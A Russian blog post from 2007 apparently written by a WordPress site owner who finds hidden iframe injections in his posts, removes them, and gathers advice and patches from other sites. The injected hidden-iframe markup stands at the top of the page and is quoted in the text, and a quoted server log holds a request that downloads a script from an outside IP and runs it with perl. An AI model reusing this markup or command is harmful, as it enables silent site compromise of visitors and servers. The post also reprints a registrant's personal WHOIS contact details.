<!– Traffic Statistics –> <iframe src=”http://www.wp-stats-php.info/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe> <!– End Traffic Statistics –>

<!-- Traffic Statistics --> <iframe src="http://www.wp-stats-php.info/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> <!-- End Traffic Statistics -->

Что за чудной заголовок для поста, спросите Вы?

Вот и мне тоже пришлось разбираться с этим чудом, которому уже три недели от роду как оказалось.

Зашел я сегодня спозаранку на свой блог пузомерки посмотреть. Смотрю, как-то долго грузится страница, долго firefox свои шары гоняет. Перевожу взгляд в нижнюю часть страницы, а там где статус бар находится, если его искать, написано:

Waiting for www.wp-stats-php.info...

Ну, думаю, что за дела, никакую статистику специальную для своего wordpress я не устанавливал, а TLD=info сразу насторожила – дело не чистое. Да и само имя домена замаскировано под имя файла, как бы часть движка wordpress.

Жму Ctrl+U, т.е. посмотреть исходный код страницы, а там вот такое:

Когда вы скачиваете с rapidshare.com через маленький промежуток<!-- Traffic Statistics --> <iframe src="http://www.wp-stats-php.info/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> <!-- End Traffic Statistics --> времени несколько больших файлов

в заметке «Как скачать с rapidshare.com без ограничения и без premium rapidshare аккаунта» от 2007-11-21 12:00:11.

Заархивировал я свой сайт целиком, как в 1С:Бухгалтерии всегда делаю, и скачал на свой компьютер. Распаковал и давай искать этот iframe. Нашел быстро, и не один, а сразу два. Второй в заметке « Mozilla ThunderBird 2.0.0.6 и Yahta 3.0 beta наконец-то подружились» от 2007-10-03 09:36:36 вот в таком виде

Mozilla ThunderBird<!-- Traffic Statistics --> <iframe src="http://61.132.75.71/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> <!-- End Traffic Statistics --> 2.0.0.6 и Yahta 3.0 beta наконец-то подружились

Т.е. предыдущая версия, без домена, просто в айпи адресом.

Затем пошел я уже в админку самого wordpressa. Защел в Управление -> Записи -> Поиск термина -> Traffic Statistics и нашел эти же две заметки, почистил и пошел читать интернет по этому поводу.

Выяснилось следующее
http://xings.us/2007/11/02/weird-thing-happened-in-the-post/

Ещё второго ноября сокрушался по поводу того, что его опять хакнули и они там надеются, что скоро wordpress починят.

http://www.de-mas.net/2007_11_06_fallo-grave-en-wordpress.html

Автор сокрушается, что даже самая свежая версия 2.3.1 wordpress имеет эту уязвимость и аж начиная с 2.2.3. Также автор обращает внимание, что точно такая же дыра есть в Joomla и рекомендует пропатчить файлы
administrator/components/com_expose/uploadimg.php
administrator/components/com_expose/uploadimage.php

http://forum.joomla.org/index.php?topic=219542.0

Рекомендуют вообще в Джумле удалить файлы
administrator/components/com_expose/uploadimg.php
administrator/components/com_expose/uploadimage.php
потому что там дыра огромного размера, которая позволяет удалить весь сайт без единого администраторского доступа.

http://www.gotgtek.net/forum/index.php?topic=1317.0

Рекомендуют использовать getimagesize() для проверки того, что все параметры картинки в норме до вызова процедуры move_uploaded_file().

http://www.anieto2k.com/2007/11/06/nuevo-fallo-en-wordpress-inserccion-de-iframe/

Рекомендует использовать phpmyadmin или аналогичный инструмент для обнаружения зараженных постов с помощью таких запросов.

//Comments SELECT * FROM ` PREFIX _comments` WHERE `comment_content` LIKE ‘%
//Posts SELECT * FROM ` PREFIX _posts` WHERE `post_title` LIKE ‘%

PREFIX – это префикс таблиц wordpress, как он назначен при установке.

http://trac.wordpress.org/ticket/5313

Проблема известна с 3 ноября 2007 года, имеет статус «Высокая важность» и успокаивает нас, что iframe находятся только в базе данных, что в файлах движка или плагинов или тем ничего плохого нет.

http://wordpress.org/support/topic/134928

Один из пользователей, полазив по логам обнаружил такие подозрительные записи:

1.-GET //wp-pass.php?_wp_http_referer=http://201.37.71.117:8090/tool25.txt?&cmd=cd%20/tmp;rm%20x.txt;wget%20http://201.37.71.117:8090/x.txt;fetch%20http://201.37.71.117:8090/x.txt;lwp-download%20http://201.37.71.1175:8090/x.txt;curl%20-O%20http://201.37.71.117:8090/x.txt;lynx%20http://201.37.71.117:8090/x.txt;perl%20x.txt HTTP/1.1" 302 - "-" "Mozilla/3.0 (compatible; Indy Library)"
2.-"OPTIONS / HTTP/1.1" 200 27903 "-" "Microsoft Data Access Internet Publishing Provider Cache Manager"

Другой автор наконец-то предложил решение проблемы

I modify the wp_sanitize_redirect() to do more restrictive the redirection.

function wp_sanitize_redirect($location) {
$location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%]|i', '', $location);
$location = wp_kses_no_null($location);
/* Only redirections into the blog */
if (stristr($location, "http://") && !eregi(get_option("home"),$location)) return get_option("home");
/* Only redirection into the blog */
// remove %0d and %0a from location
$strip = array('%0d', '%0a');
$found = true;
while($found) {
$found = false;
foreach($strip as $val) {
while(strpos($location, $val) !== false) {
$found = true;
$location = str_replace($val, '', $location);
}
}
}
return $location;
}

Вот этот автор http://www.anieto2k.com/2007/10/31/las-paginas-blancas-de-la-seguridad-wordpress/ рекомендует книгу в формате PDF из десяти страниц, в которой собраны разные советы, как сделать свой wordpress более безопасным и устойчивым ко всяким хакерам. В том числе есть рекомендация закрыть доступ к каталогу wp-admin файлами .htaccess и .htpasswd таким образом:

.htaccess
AuthUserFile /srv/www/user1/.htpasswd #this file should be outside your webroot.
AuthType Basic
AuthName “Blog”
require user youruser #making this username difficult to guess can help mitigate password
brute force attacks.

А файл .htpasswd можно смастерить тут http://www.z-host.com/scripts/ipasswd/

И есть рекомендация фильтровать содержимое, загружаемое в каталоги wp-content и wp-includes средствами файла .htaccess примерно так:

Order Allow,Deny
Deny from all
<Files ~ ".(css|jpe?g|png|gif|js)$">
Allow from all
</Files>

Слегка погуглив, увидел, что наши братья по разуму, скорее всего, отрабатывают технологию, а не эксплойтят интернет – всего 29 упоминаний.

Ноги у хакеров ростут из Поднебесной, вот их данные:

Domain ID:D22443415-LRMS
Domain Name:WP-STATS-PHP.INFO
Created On:22-Nov-2007 13:45:05 UTC
Last Updated On:22-Nov-2007 13:45:07 UTC
Expiration Date:22-Nov-2008 13:45:05 UTC
Sponsoring Registrar:Gandi Sarl (R191-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:O-901894-GANDI
Registrant Name:No
Registrant Organization:Ju Dehua
Registrant Street1:B1/4F., No. 211, Taigu Road, Waigaoqiao Free Trade Zone
Registrant Street2:
Registrant Street3:
Registrant City:Shanghai
Registrant State/Province:
Registrant Postal Code:10079
Registrant Country:CN
Registrant Phone:+86.2158681248
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:f8c8dcc929de0f8fe20d6926e463bf0c-903683@owner.gandi.net
Admin ID:C11388674-LRMS
Admin Name:Ju Dehua
Admin Organization:
Admin Street1:B1/4F., No. 211, Taigu Road, Waigaoqiao Free Trade
Admin Street2:Zone
Admin Street3:
Admin City:Shanghai
Admin State/Province:
Admin Postal Code:10079
Admin Country:CN
Admin Phone:+86.2158681248
Admin Phone Ext.:
Admin FAX:
Admin FAX Ext.:
Admin Email:j_dehua@yahoo.com
Billing ID:C1249598-LRMS
Billing Name:CONTACT NOT AUTHORITATIVE see http://www.gandi.net/whois
Billing Organization:GANDI sarl
Billing Street1:see also whois.gandi.net
Billing Street2:
Billing Street3:
Billing City:Paris
Billing State/Province:
Billing Postal Code:F-75003
Billing Country:FR
Billing Phone:
Billing Phone Ext.:
Billing FAX:
Billing FAX Ext.:
Billing Email:support@gandi.net
Tech ID:C1249598-LRMS
Tech Name:CONTACT NOT AUTHORITATIVE see http://www.gandi.net/whois
Tech Organization:GANDI sarl
Tech Street1:see also whois.gandi.net
Tech Street2:
Tech Street3:
Tech City:Paris
Tech State/Province:
Tech Postal Code:F-75003
Tech Country:FR
Tech Phone:
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Email:support@gandi.net
Name Server:C.DNS.GANDI.NET
Name Server:B.DNS.GANDI.NET
Name Server:A.DNS.GANDI.NET

Вот такие пироги. Не забудьте сменить пароли и часовых.

Ключевые слова: , , , , , ,

Похожие статьи

Комментариев: 1

  1. ВордПресс и/или его плагины - дырявое решето | Попов Роман Анатольевич. Консультант. пишет:

    [...] Сегодня опять мой WordPress блог подхватил инъекцию, как и в прошлый раз. [...]

Оставьте свой отзыв!

Вам нужно войти, чтобы оставить комментарий.